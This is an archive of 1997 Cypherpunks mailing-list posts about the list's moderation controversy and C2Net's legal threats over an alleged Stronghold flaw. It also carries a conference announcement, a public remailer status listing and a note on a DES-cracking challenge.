Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product? Cc: cypherpunks at toad.com At 10:07 PM +0000 2/7/97, Against Moderation wrote: >Okay, I went through my old mail, and I'm fairly sure this is the >message. I'm convinced it never went to the flames list, and now that >I've found out I'm on the -unedited list after all, I think it >probably didn't go to the regular cypherpunks list either. Can people >on the various lists confirm this for me? I checked the archive site (http://infinity.nus.sg/cypherpunks) for the "main" (censored) list, and do not see it there, either by title or by author. I only recently subscribed to the Flames list, so I cannot check to see if it went there. Anyone else check the Flames list? As I said in my last messages, if this message went to neither the Main list nor the Flames list, then a very serious problem has been exposed. Further, if the post, while not being sent to either of the nominal lists which filtered stuff is supposed to go to, was used as the basis of legal threats by the employer of Sandy, the list's censor, then dramatically more serious implications seem evident. I await Sandy's views with great anticipation. The message itself does not look flamish to me. It makes charges, but so do a zillion other posts. It cannot be the job of a censor to decide on what is true and what is not true. >Given the total lack of technical content, the flamey nature of the It's not "flamey." Nobody is called a cocksucker, nobody is called a faggot, etc. Yes, it claims a product has a trojan horse, but this is a claim comparable to other claims routinely made on list and newsgroups. I'm also neither stupid nor disingenuous. I realize full well that Vulis probably made the claim because he knows Sandy works for the seller of Stronghold. Be that as it may, it is not proper for a censor employed by the seller of a product to decide that criticisms of his product are flamish. Would the list have countenanced censorship of criticisms of an RSADSI product if the list were being censored by an employee of RSADSI? And by letting Vulis make such a claim, and then having it quickly rebutted by other employees of C2Net, for example, Vulis would be shown to be spreading disinformation and his reputation capital would decline still further. If in fact the Vulis claim never made it either of the two lists to which all filtered messages are supposed to be sorted, then deception has occurred. And a conflict of interest. Again, I await Sandy's response. >A lot of people out there are subscribing to the cypherpunks-flames >and cypherpunks lists thinking that they will see everything that gets >rejected (albeit with a substantial delay). If this is not the case, >it should be made clear. Otherwise, it's not moderation, but >dishonesty. Indeed. --Tim May [4] ====================================================================== Date: Fri, 7 Feb 1997 21:46:10 -0800 To: Against Moderation , cypherpunks at toad.com From: "Timothy C. May" Subject: Re: The Frightening Dangers of Moderation Cc: hugh at toad.com At 4:31 AM +0000 2/8/97, Against Moderation wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >Well, folks, tonight I have witnessed the frightening dangers of >moderation and censorship first-hand, and would like to tell you what >has happened. I think there is an important lesson to be learned from >these incidents. (long account of getting legal threats for quoting a message about CENSORED elided) This is indeed an important incident. I hope we can discuss it. Many issues central to Cypherpunks are involved. To name a few: * the moderation/censorship issue itself (though we have probably beaten this one to death in the last few weeks). * the "libel" issue, especially as it involves Sandy, his company, and the machine the list is hosted from. The introduction of a censor has, as many of us predicted, raised serious libel and liability issues. (This is the best reason I can think of it to move to an "alt.cypherpunks" system, where bypassing of liability, libel, copyright violation, etc., laws is naturally handled by the globally decentralized and uncontrolled nature of Usenet.) * conflicts of interest issues. Apparently Sandy feels information deleterious to C2Net, having to do with a claimed CENSORED in the software product CENSORED, cannot be passed by him to _either_ of the two lists to which articles are supposed to be sent. (Sadly, he did not tell us of this meta-censorship when it happened. This made what he did deceptive as well as wrong.) * chilling of discussion. As "Against Moderation" notes, merely _quoting_ the article of another caused Sandy to not only reject his article, but also to contact him and raise the threat of legal action. (This even though Against Moderation added all sorts of "obviously false" comments to what Vulis had written.) * even more threats. At the request of CENSORED today, I called CENSORED and had a verbal communication with him (a nice guy, by the way) about this situation. He averred that "you don't want to be pulled into this," and suggested that if I post certain things, even quoting the reports that a CENSORED exists in CENSORED, I could well be sued by the lawyers of his company! These are issues which remailers, decentralized servers, anonymity, data havens, and other Cypherpunks technologies make important issues for us to discuss. When did Cypherpunks start thinking about libel? (Obvious answer: when _their_ companies were the targets of criticism, lies, libel, whatever.) It's not as if insulting or even "libelous" (I'm not a lawyer) comments have not been made routinely on the list. Insulting companies and other institutions has been standard Cypherpunks fare since the beginning. Mykotronx has been accused of high crimes, RSADSI has been declared to be placing backdoors in code, Phil Zimmermann has been declared to be an NSA plant ("only trust the versions of PGP before he cut the deal to get his freedom"), and so on. Think about it. Just about any company with any product related to crypto has at one time or another had their motives questioned, their products slammed, etc. Unfortunately, our Late Censor is an employee of one of the companies so slammed, and he has reacted by rejecting one or more of these slams without bothering to tell the list that he has to do so. (Were it me, I would have "recused" myself from the decision, or at least told the list in general terms what was going on, or, more likely, resigned as censor. But then I would never have been a list.censor in the first place.) I understand that Sandy is stepping down as our Moderator. The Censor is Dead, Long Live Sandy! I expect to harbor no continuing resentment toward Sandy (though I expect things will be strained for a while, as might be expected). The issues raised are ugly ones. Here's what scares me: the "precedent" may irretrievably be established that companies offended by words on the list will threaten legal action to recover their good name. I can imagine Mykotronx or even First Virtual citing the actions of C2Net as a precedent (a cultural precedent, to the extent there is such a thing) for their own legal letters. As with the terrible precedent set by the "even Cypherpunks had to censor themselves" experiment, these companies may be able to say "But even a Cypherpunk-oriented company realized that the antidote for damaging speech was not rebutting speech. No, these Cypherpunks realized that some threatening letters and pulling the plug on the speaker was a better approach." And we won't be able to easily argue that Mykotronx has no right to do this while C2Net does. Sandy, in his message a few hours ago to Against Moderation, even made the claim (and Sandy _is_ a lawyer, or at least once was) that John Gilmore could be held liable for speech on the Cypherpunks list. (I don't doubt the "could," but I hate like hell to see a Cypherpunkish company leading the charge.) Perhaps this is true. But the Censorship experiment, and the resulting threats of legal action by C2Net to stop mention of the alleged CENSORED in their product CENSORED, fuel the fire. Instead of denigrating such legal moves--as I'm sure most Cypherpunks would have done a few years ago if RSADSI were to try to sue people for making outrageous claims--we have a major company consisting of several leading Cypherpunks making just such threats. I'm not a legal scholar, but is it really the case that merely _alluding_ to the allegedly libelous comments of another is itself a libel? Is a reporter who writes that "Person X has alleged that Product Y has a Flaw Z" thus committing a libel? (I don't think so, as reporters frequently report such things. If merely quoting an alleged libel is also libel, then presumably a lot of reporters, and even court clerks reporting on cases, are libelers.) (ObLisp reference: quoting an expression ought to have a different return value than evaluating an expression! That's what quotes are for.) My comments this past week have not been motivated by animosity toward Sandy, and certainly my comments today are not motivated by any animosity about C2Net or any of its employees (including CENSORED, whom I spoke with today). My comments started out as being a summary of why I had left Cypherpunks when the Great Hijacking was announced. Since last Sunday, when I issued my "Moderation" post, I've only responded to messages I was CC:ed on, or to messages on the Flames list, which I subscribed to temporarily to better see what Sandy was calling flames. The discovery that certain posts were not appearing on either the Main list or the Flames list triggered today's comments about Sandy and the alleged CENSOREDCENSOREDCENSORED (blah blah blah). I hope we can declare this Censorship experiment a failure and move on. However, it is almost certain that as a result of attempts to suppress certain views, that the move back to an unfiltered state will mean that some will use anonymous remailers and nym servers to post even _more_ claims, however outrageous. This is a predictable effect. Cf. Psychology 101 for an explanation. Kicking Vulis off the list predictably produced a flood of Vulis workarounds, and a surge in insults via anonymous remailers. Instituting censorship of the list triggered a flood of comments critical of the experiment, and a predictable "testing" of the censorship limits. And, finally, now that C2Net is threatening legal action to stop discussion--even in quotes!!--of alleged CENSORED in CENSORED, expect a lot of repetition of these claims via remailers. And, I predict, claims about CENSORED will even be spread more widely, e.g., on the Usenet. (Sadly, I half expect a letter from some lawyers or lawyer larvae saying I am "suborning libel," or somesuch nonsense. As Sandy would say, "piffle." Lawyers, take your best shot.) ====================================================================== Date: Sun, 16 Feb 1997 19:14:04 -0800 From: tcmay at got.net (Tim May) To: cypherpunks at toad.com Subject: Threats of Legal Action and C2Net/Stronghold Issue Newsgroups: alt.cypherpunks,alt.privacy,comp.org.eff.talk References: <5e2qqm$ahi$1 at news.sas.ab.ca> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks, alt.privacy, comp.org.eff.talk) At 6:07 PM -0800 2/16/97, Sandy Sandfort wrote: >Curiously, in a subsequent telephone conversation, Tim May >proposed almost that exact suggestion as an alternative form of >moderation that he said would have been acceptable to him. Go >figure. The only phone conversation I had was with Doug Barnes, at the request of Doug that I urgently phone either him or Sameer. I called Doug as soon as I got the message. (Doug also said he was the only one in the room at the time, and that the call was *not* being recorded, so I have to surmise that Sandy got his version of things via a recap by Doug.) >> 21. Tim received a warning from C2Net's lawyers that if he did not >> desist from mentioning that Dimitri had posted an article criticising >> a C2Net product that he would be sued! > >Absolutely false. > What Doug told me was that Dimitri Vulis had already been served with a legal notice about his warnings about a security flaw in Stronghold, and that any repetition of Dimitri's claims by me or anyone else would result in similar legal action. Doug said that any repetition of the claims, even as part of a quote, would be seen as actionable by C2Net. "We'll vigorously defend our rights." (as best I can recall) He said he thought my messages, to the extent they merely _alluded_ to the claims were probably OK and that they would certainly go through to the list, as Sandy has already resigned from his role as moderator. (For the record, these messages DID NOT GO THROUGH, and have not gone through as of tonight, 8-9 days later. However, I have forwarded them to several people who requested them.) (I also did not have a recorder running, so I can't claim this is a verbatim summary of what was said. As to what I said about how the moderation thing might have been done differently, Doug and I chatted for a while about various alternatives. I raised the point I've made before, that having a "members only" policy, with some special provision for some amount of remailed messages, would probably best suit the notion of keeping the "community" running. What I told Doug was that my main objection was having Sandy sit in judgement to essays folks might have spent a long time composing, and I cited physical parties, where a host invites those he wants in attendance, but does not micromanage or screen conversations being held at the party. My sense was that Doug agreed, and agreed that the whole thing had been handled in a bad way...but Doug should comment to tell his view of things.) The next day, at the physical Cyperpunks meeting at Stanford, I briefly talked to Greg Broiles, working as a legal aide at C2Net. I told Greg he could "take his best shot," in terms of filing suit against me about my messages, as I'm prepared to fight C2Net in court on this matter, and have the financial resources to hire some pretty good lawyers. (I don't recall if Greg replied, or what his reply was.) In a message to Cypherpunks, I outlined my understanding of the Vulis report on security flaws in Stronghold, and put the claims in the context of messages not appearing on either of the two main lists, but none of my messages were sent to either the Main list or the Flames list. (I also had communication with several members of the list, some known to me and some only pseudonyms. I have taken the precaution of erasing these messages and copying files to the disk on which they resided to head off any attempts by C2Net seize my computer and disks as part of some "discovery" process.) I find it unfortunate that C2Net is behaving in such a manner, and their actions are generating far more publicity about the claimed security flaws in Stronghold than the original Vulis message ever would have generated. Sunlight is the best disinfectant, as a Supreme Court justice averred. And suppression is a breeding ground for all sorts of bacteria, fungi, and ugly growth, as a less articulate person said. Reporters interested in this story have already contacted me. They're interested in the situation surrounding the claims of a flaw. I told one reporter I had no expertise in Stronghold, SSL, etc., and could not say, but that I suspected strongly that the claim was made just as a "tweak" of C2Net. "Truth is an absolute defence against libel claims." (P.S. To repeat, I doubt there is a flaw in Stronghold, either introduced by RSA (Republic of South Africa, of course) or by the NSA, or by C2Net, or by anyone else. I said as much in my messages which never made it to the list.) --Tim May From wcampbel at peganet.com Sun Feb 16 23:37:34 1997 From: wcampbel at peganet.com (Bill Campbell) Date: Sun, 16 Feb 1997 23:37:34 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702170736.CAA02163@mercury.peganet.com> Everyone and his/her cousin has jumped into the void created when John Gilmore decided to pull the plug on toad.com. However, I'm very confused on just what to do at this point, my news server doesn't see alt.cypherpunks yet and if it did would probably lose about 75% of the posts if past performance is to be any indicator. (Or more accurately, would never get them, we seem to be a bottom feeder here in South Florida as far as the newsgroups go.) Has anyone composed a concise summary of just what the options are? Time is running out, I guess. Thanks in advance. =Bill= From kent at songbird.com Sun Feb 16 23:52:01 1997 From: kent at songbird.com (Kent Crispin) Date: Sun, 16 Feb 1997 23:52:01 -0800 (PST) Subject: Another test Message-ID: <199702170751.XAA14804@songbird.com> Another test From dave at kachina.jetcafe.org Sun Feb 16 23:59:56 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Sun, 16 Feb 1997 23:59:56 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702170759.XAA09067@kachina.jetcafe.org> Greg Broiles writes: > At 01:13 PM 2/16/97 -0800, Dave Hayes wrote: > >I can also offer my participation in the distributed mailing list, if > >that is what it takes to get cypherpunks free of control interests again. > I think it would be more accurate to say that this is what it takes to get > cypherpunks into the hands of different control interests. Ok. If the legends about this list are true, then this is the ideal place to determine the feasability of removing -any- control interests. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet The only person who needs a contract is one who cannot be trusted. From Theodor.SCHLICKMANN at BXL.DG13.cec.be Mon Feb 17 02:42:50 1997 From: Theodor.SCHLICKMANN at BXL.DG13.cec.be (Theodor.SCHLICKMANN at BXL.DG13.cec.be) Date: Mon, 17 Feb 1997 02:42:50 -0800 (PST) Subject: Re(2): DFA In-Reply-To: <199702162243.OAA05104@toad.com> Message-ID: Hi, the European Commission is also sponsoring a project called "OKAPI" where Quisquater and others are working on smardcards in the spirit of the mentioned publications by DFA. Please check www.tele.ucl.ac.be/OKAPI/index.html for further information. Theodor W. Schlickmann From rah at shipwright.com Mon Feb 17 04:50:10 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 17 Feb 1997 04:50:10 -0800 (PST) Subject: FC97 lookalike: Stock Trading over the Internet Conference Message-ID: I don't know about *lookalike*... Cheers, Bob Hettinga --- begin forwarded text Sender: e$@thumper.vmeng.com Reply-To: Ian Grigg Precedence: Bulk Date: Mon, 17 Feb 1997 10:30:32 +0100 (MET) From: Ian Grigg To: Multiple recipients of Subject: FC97 lookalike: Stock Trading over the Internet Conference http://www.iqpc.com/0397stoc.htm STOCK TRADING OVER THE INTERNET Exploiting the power of Electronic Commerce March 19-20, 1997 * The Pan Pacific Hotel * San Francisco, CA Hear first hand tips from the true pioneers in Internet stock trading and electronic commerce on: Conquering the process of going public Raising capital in your company via the Internet Using the Web to build your business and partnering with co-opitition Forming permanent syndicates to foster the creation of new offerings Creating effective and complete marketing plans for IPO's and DPO's Attracting customers and delivering services through the exploding electronic commerce market The audience for this event will include companies looking to offer shares via the Internet and drastically cut costs including; Chief Executive Officers, Chief Financial Officers, Managing Directors, General Managers, Investor Relations Managers, Underwriters, Stock Exchange Executives, Venture Capitalists, Investment Bankers, Private Company Executives, Business Development Executives, Technology and Business Press and all those seeking to explore opportunities on the emerging Internet marketplace DAY ONE March 19, 1997 Chairman: Brad W. Smith, President, WBS & A, Ltd. 8:30 REGULATORY CONSIDERATIONS ON INTERNET PUBLIC OFFERINGS This session will review the many regulatory and legislative issues involved in the development of Internet public offerings. In particular, how and why the regulatory bodies of the NASD, NASDAQ and the SEC are making a commitment to the Internet as a vehicle that serves the investor. Proper surveillance procedures have been created and executed to protect all parties. Internet initiatives have been developed to bridge the market side and regulatory side of these complex issues. Al Dandridge, Associate Director of Corporate Finance U.S. SECURITIES AND EXCHANGE COMMISSION Charles Bennett, Associate Director of Corporate Finance NASD 9:30 INTERNET TRADING MARKET PROJECTIONS Internet trading is an emerging market wave that is poised for explosive growth. More than 60 million investors have brokerage accounts. The media reports that Internet brokerage accounts will jump from 1.5 million today to 9.3 million by the year 2001; Every bank will use the Internet to attract customers and deliver services in the next five years and electronic commerce will grow to $600 billion annually within the next 10 years. Visionaries believe that one of the most profound effects of these phenomena's will be to changehow small businesses get capitalized. They predict that small business public offerings will become routine for nano-cap companies. This session will present a strategic overview of the emergence of internet capabilities that make it possible for investors to invest in and trade nano-cap company stocks. Brad Smith, President WBS & A, Ltd. bradwsmith at aol.com 11:00 GOING PUBLIC: HOW TO RAISE CAPITAL THROUGH A DIRECT PUBLIC OFFERING (DPO) This session will explore from concept to completion, how to perform all of the necessary functions to prepare and market a DPO and/or an Internet DPO. A case study will be shared of a DPO that will be presented to the investment community world-wide in early 1997. Learn from the experts the specifics on how to take your company where you want to go and ensure success including: Marketing through an investor relations firm Choosing an appropriate analyst Utilizing a transfer agent The link between broker and internet commerce David A. Levonian, President INTERNATIONAL INVESTOR RELATIONS http://iirwebtv.net 1:00 OVERCOMING THE PITFALLS AND CHALLENGES OF GOING PUBLIC The advantages of "going public" appear straight forward. The company accesses the capital it needs to expand or refine its product. (In a purely coincidental occurrence, the current shareholder [including investment bankers, SEC lawyers and stock brokers] get rich.) There are numerous challenges in conquering the process of "going public" including: There are problems with the lawyers, accountants and the bankers and they are on YOUR SIDE There are pounds of paper forms which must be submitted to every group, not to mention the SEC. However, an approved offering does not make a successful offering. It still must be marketed, either by stock brokers OR MAYBE directly over the Internet. And not just to the U.S., but to the entire world. That may be the wave of the future. Direct access to securities and their offering companies over the Internet. Michael J. Waddell, President PROMARKETING, INC. Developer of the (http://www.freemarket.org) selected by PC Novice Guide to the Web as one of the Internet "Greatest Sites" 2:00 IPONET: SELLING & ADVERTISING IPO'S ON THE INTERNET: THE CREATION OF THE FIRST PERMANENT SYNDICATE IPOnet is currently the only site on the Internet with clearance from the SEC to advertise and sell new security offerings online. IPOnet intends to have multiple Broker/Dealers listed on it's site. This will create the first permanent syndicate of Broker/Dealers. These Broker/Dealers will act as selected dealers for each others offerings and act as underwriters of their own offerings. This session will examine the following topics: Why the broker can not be eliminated from the offerings What really happens when an IPO is put on the Internet Why DPO's will never be a major threat to brokers Why a permanent syndicate will foster the creation of new offerings Leo J. Feldman, President IPONET http://www.e-iponet.com lfeldman at e-iponet.com 3:30 THE IMPORTANCE OF TRADITIONAL EXCHANGES AS A SECONDARY MARKET Taking your company public via the Internet, rather than the traditional exchange, has become a very viable alternative for small business owners. However, unless the offering is backed by a complete marketing plan, it is unlikely that the offering will reap huge financial rewards and achieve success. Incorporating a traditional exchange as a secondary market into the plan can solidify, stabilize and extend the offering beyond the Internet marketplace and create longevity and security and financial return on your offering. This session will explore secondary markets and how traditional exchanges are advocating the collaborative efforts of traditional and web offerings. Iris Golden Brackett, Manager Listing Sales CHICAGO STOCK EXCHANGE 4:30 Panel Discussion: PUBLIC OFFERINGS AND THE INTERNET: LEGAL CONSIDERATIONS Join three of the most influential Internet finance and securities attorneys for this highly interactive session. They will discuss the legal aspects associated with buying and selling securities on the Internet, including private placement, Regulation A offerings and independent public offerings. Come prepared to share your challenges and solutions! William D. Evers, Esq. MILLER, MAILLIARD & CULVER M. Greg Allio, Esq. SHARTSIS, FRIESE & GINSBERG John Perkins, Chairman THE SMALL BUSINESS CAPITAL ACCESS ASSOCIATION Charles Bennett, Associate Director of Corporate Finance NASD 5:45 CLOSE OF DAY ONE DAY TWO March 20, 1997 8:15 ELECTRONIC BULLETIN BOARDS FOR BID AND ASK OFFERS: THE EMERGENCE OF DIRECT STOCK MARKET The secondary market is the key to successful initial and direct public offerings. The traditional brokerage community has their hands tied when it comes to underwriting and making markets in small company issues. A new strata of corporate finance is being created by technological advances which marry capital requirements of entrepreneurs with risk/return and information demands of investors. This presentation will explore: Using the internet to raise capital for your company Secondary market trading on the Internet Virtual roadshows online Building your own public venture capital portfolio Investing in public venture funds Clay Womack, President DIRECT STOCK MARKET http://www.direct-stock-market.com 9:15 EXPLOITING INTERNET TECHNOLOGY TO REACH A GLOBAL AUDIENCE The power of the Internet has unleashed the potential for new business expansion and financial opportunity in a global market. Foreign businesses can now join forces quickly to create products and services and offer them to a larger population than before. This session will examine how to cultivate these partnerships, foster growth and secure positive financial outcomes by: Using the Web to build your business and partnering with co-opitition Attracting "qualified" people to your site Exploring value-added opportunities in the financial market on the Internet Michael Withrow, Director POWERTRADER, INC. http://www.powertrader.axionet.com 10:45 UNDERSTANDING THE COMPONENTS OF A STOCK TRANSFER Choosing a transfer agent with diversity of services allows your company to do more and retain extra added-value components and services. This session will take you step-by-step through the IPO process from working with attorneys through to the transfer work. Learn how to: How to judicate a stock transfer Outline the processes needed Develop the steps involved Anticipate the role of the Internet in stock transfers Sherri Herman, President THE HERMAN GROUP, INC. SMALL BUSINESS CAPITAL ACCESS ASSOCIATION 1:00 INTERNET TRANSACTIONS FOR THE PORTFOLIO MANAGER This session will feature case studies and the future outlook on internet transactions for portfolio managers including: What is the Electronic/Internet Information System? -Office based and wireless -Text and video How is it used? -The two way information flows -Routine and custom information Specific needs and requirements for the portfolio manager and ways of customizing the information What are the advantages of the new system? Costs and tools of the system -Dollars -Technology -Savvy and advertising John Palicka, CFA, CMT Portfolio Manager GLOBAL EMERGING GROWTH 2:30 INTERNET OPPORTUNITIES FOR PUBLIC COMPANIES This session will focus on opportunities available on the Internet to companies that are publicly traded. A presentation no senior executive should miss! This presentation will examine why public companies should consider the added profitability of the Internet and offer specific Internet strategies and risks including: Using the Internet to improve liquidity Build a stock analyst following using the Internet Dealing with Motley Fool's and other potential risks M. Greg Allio, Partner SHARTSIS FRIESE & GINSBERG 3:30 CREATING AN ELECTRONIC STOCK EXCHANGE Exploiting IP-Understanding Internet Protocol (IP) - How to make your business grow ON-LINE by using the "best of" all available software Order Driven Systems- Understanding why market makers & specialists are a "necessary evil" we live with, and look at the functionality of SuperDot-type automation as opposed to Drop Copy A Virtual Branch Office- The growth of the independent brokerage industry, and a look at what will happen to the traditional registered representative Compliance/Supervision- How a small brokerage firm will supervise their representatives in the Internet age Ken Gruneisen, President & CEO, BEST EX, INC. THE BOCA RATON ELECTRONIC STOCK EXCHANGE 5:30 END OF CONFERENCE Post Conference Workshops ------------------------- 9:00am - 12:00pm The Impact of the World Wide Web on Individual Investors and Electronic Stock Trading 1pm - 4pm Building the partnership between Electronic Commerce and Raising Capital1pm - 4pm ---------- The e$ lists are brought to you by: Intertrader Ltd - Commerce Solutions in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$? Help pay for it! See Or, for e$/e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From ichudov at algebra.com Mon Feb 17 05:07:51 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 17 Feb 1997 05:07:51 -0800 (PST) Subject: Threats of Legal Action and C2Net/Stronghold Issue In-Reply-To: <199702170255.SAA00022@you.got.net> Message-ID: <199702171300.HAA05979@manifold.algebra.com> The story about Stronghold security flaws reminds me of The Right Reverend Colin James III (puke). CJ3 also started his kook career when he was accused of being stupid and not knowing what he was talking about in his announcement about performance of BSAM, his "invention". He immediately reacted to the accusers and promised to sue them, their employers, their providers, the Inspector General, and more. He really went after his enemies, trying to get them fired, etc. As a result of his long struggles, most enlightened minds on USENET realized that he was an excellent candidate for Kook of the Month award. A nomination followed. When he was elected Kook of the Month last January with a record-breaking vote, he threatened to sue anyone who mentions his new Kook status. That only added fuel to the fire, as more and more posters "dared" to expose him as a lying forger and kook. - Igor. From jya at pipeline.com Mon Feb 17 05:56:04 1997 From: jya at pipeline.com (John Young) Date: Mon, 17 Feb 1997 05:56:04 -0800 (PST) Subject: The Offending Stronghold posts... Message-ID: <1.5.4.32.19970217134942.006fa6d4@pop.pipeline.com> Here're wee additions to your archive: I subbed to cp-unedited from the first, so could compare the unedited messages with the edited. Some of mine(*) were edited, including a few on the Stronghold topic. But to me that's not as big a deal as some want to make of it. For example, in response to Tim's request to repost DV's Stronghold ploy, I did so, and it was edited. Sandy sent me a courteous email stating that he was not forwarding the message. I answered that that was okay with me because I thought that DV was using the issue as a ploy to undermine Sandy. Hey, there were no legal or other threats made to me, darn it! Another of my edited messages stated that there had been good discussion on the unedited list about DV's Denial of Service attack on Cypherpunks. Another noted that DV had been admirably successful in drawing others into his fight -- in support and in opposition -- as part of his DoS. Another questioned "Who's Censoring Who?" and offered the opinion that "censorship" rhetorically exaggerated Sandy's moderation. (I still believe that's the case.) For what it's worth, I oppose moderation, but favor experimentation, in the recognition that humans are near-endlessly adaptable and near- uncontrollable no matter what control mechanisms are employed -- anarchy is the norm whether advocated or not. So, I think the moderation experiment was a success, in that it has led to an unexpectedly constructive reconfiguration of Cypherpunks -- and not the last, that's for sure -- and showed that any archy is wishful dreaming of tortured hearts and minds and loins. A one hand applause to Dr. V and archy-demolishers for vibrating the c'punks house the way SATAN did bigger shoddy piles. Two hands to TCM for more memorable quaking of structure-bunkered c'punks and others. ----- * I'll supply copies of messages cited if you like. From raph at CS.Berkeley.EDU Mon Feb 17 06:50:13 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 17 Feb 1997 06:50:13 -0800 (PST) Subject: List of reliable remailers Message-ID: <199702171450.GAA16062@kiwi.cs.berkeley.edu> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = ' alpha pgp'; $remailer{'nymrod'} = ' alpha pgp'; $remailer{"lead"} = " cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = ' alpha pgp'; $remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"death"} = " cpunk pgp hash latent post"; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = " cpunk mix pgp. hash latent cut"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 17 Feb 97 6:46:40 PST remailer email address history latency uptime ----------------------------------------------------------------------- wazoo remailer at wazoo.com ++++++++*+++ 37:37 100.00% nym config at nym.alias.net *#*##**++#*+ 4:23 99.99% winsock winsock at rigel.cyberpass.net -__.+-..---+ 7:52:03 99.93% cyber alias at alias.cyberpass.net ** *++++++*+ 35:11 99.89% dustbin dustman at athensnet.com .++--.+--- 2:08:12 99.85% weasel config at weasel.owl.de +++++++++++ 1:06:36 99.77% exon remailer at remailer.nl.com ***-* *#+# 4:10 99.62% squirrel mix at squirrel.owl.de + ++++++ + 1:04:02 99.05% haystack haystack at holy.cow.net #*##*+* **+ 20:23 98.49% reno middleman at cyberpass.net .++ -- +++ 1:16:02 98.36% lucifer lucifer at dhp.com +++++++ +++ 42:18 98.28% extropia remail at miron.vip.best.com -------- -- 5:19:42 98.21% middle middleman at jpunix.com ++++ + -- 2:16:10 97.36% replay remailer at replay.com ---+** ---* 1:27:53 88.59% balls remailer at huge.cajones.com ## *### *# 1:38 84.09% jam remailer at cypherpunks.ca ******* ** 8:25 82.44% shaman mix at mix.nymserver.com 11:03 22.27% mix mixmaster at remail.obscura.com *+ 22:42:38 21.62% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From drz at froody.bloke.com Mon Feb 17 07:23:43 1997 From: drz at froody.bloke.com (Tim Newsome) Date: Mon, 17 Feb 1997 07:23:43 -0800 (PST) Subject: (fwd) DES challenge organisation In-Reply-To: <199702152302.XAA00412@server.test.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Sat, 15 Feb 1997, Adam Back wrote: > > 5. The prize money will be split equally between Gutenberg and EFF. > > There is a possibility of using part of it for stickers or > > something similar, but don't count on it. > Not a good idea. > How can this be enforced? The RSADSI DES challenge is open to all Unless people modify the client, we will know about it before they do. Yes, people might cheat. Main point is we don't want to turn this into a race for money. 